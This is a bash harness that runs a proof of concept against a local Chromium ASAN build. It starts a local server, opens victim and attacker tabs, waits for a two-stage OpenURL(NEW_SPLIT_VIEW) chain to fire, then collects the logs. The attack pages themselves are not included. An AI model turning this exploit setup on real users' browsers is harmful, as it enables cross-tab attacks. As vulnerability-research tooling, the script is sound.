#!/bin/bash
# POC runner: starts the HTTP server, launches Chrome with the attacker tab
# in the background and the victim tab active, waits for the two-stage
# OpenURL(NEW_SPLIT_VIEW) chain to fire, then dumps the evidence.
set -u

ART_DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME=/chromium/chromium/src/out/asan/chrome
PROFILE=/tmp/chrome-poc-profile
SERVER_LOG="$ART_DIR/server.log"
CHROME_LOG="$ART_DIR/chrome.log"

rm -rf "$PROFILE"
rm -f "$SERVER_LOG" "$CHROME_LOG"

# Start server.
python3 "$ART_DIR/server.py" 2>"$SERVER_LOG" &
SRV_PID=$!
sleep 1

# Launch Chrome. The first command-line URL becomes the active tab
# (StartupBrowserCreatorImpl), so victim goes first (active) and attacker
# second (background).
"$CHROME" \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --no-sandbox --disable-gpu \
  --user-data-dir="$PROFILE" \
  --enable-logging=stderr --v=0 \
  "http://localhost:8080/victim.html" \
  "http://127.0.0.1:8080/attacker.html" \
  >"$CHROME_LOG" 2>&1 &
CHROME_PID=$!

# attacker.html fires at +3s, attacker2.html at +2s after that. ASAN is slow.
sleep 25

kill -TERM "$CHROME_PID" 2>/dev/null
sleep 1
kill -KILL "$CHROME_PID" 2>/dev/null
kill -TERM "$SRV_PID" 2>/dev/null

echo
echo "================ SERVER LOG ================"
cat "$SERVER_LOG"
echo
echo "================ CHROME [POC ...] LINES ================"
grep -E '\[POC ' "$CHROME_LOG" || true
echo
echo "================ CHROME ERRORS (filtered) ================"
grep -E 'FATAL|ReportBadMessage|bad_message|ERROR.*OpenURL' "$CHROME_LOG" | head -20 || true
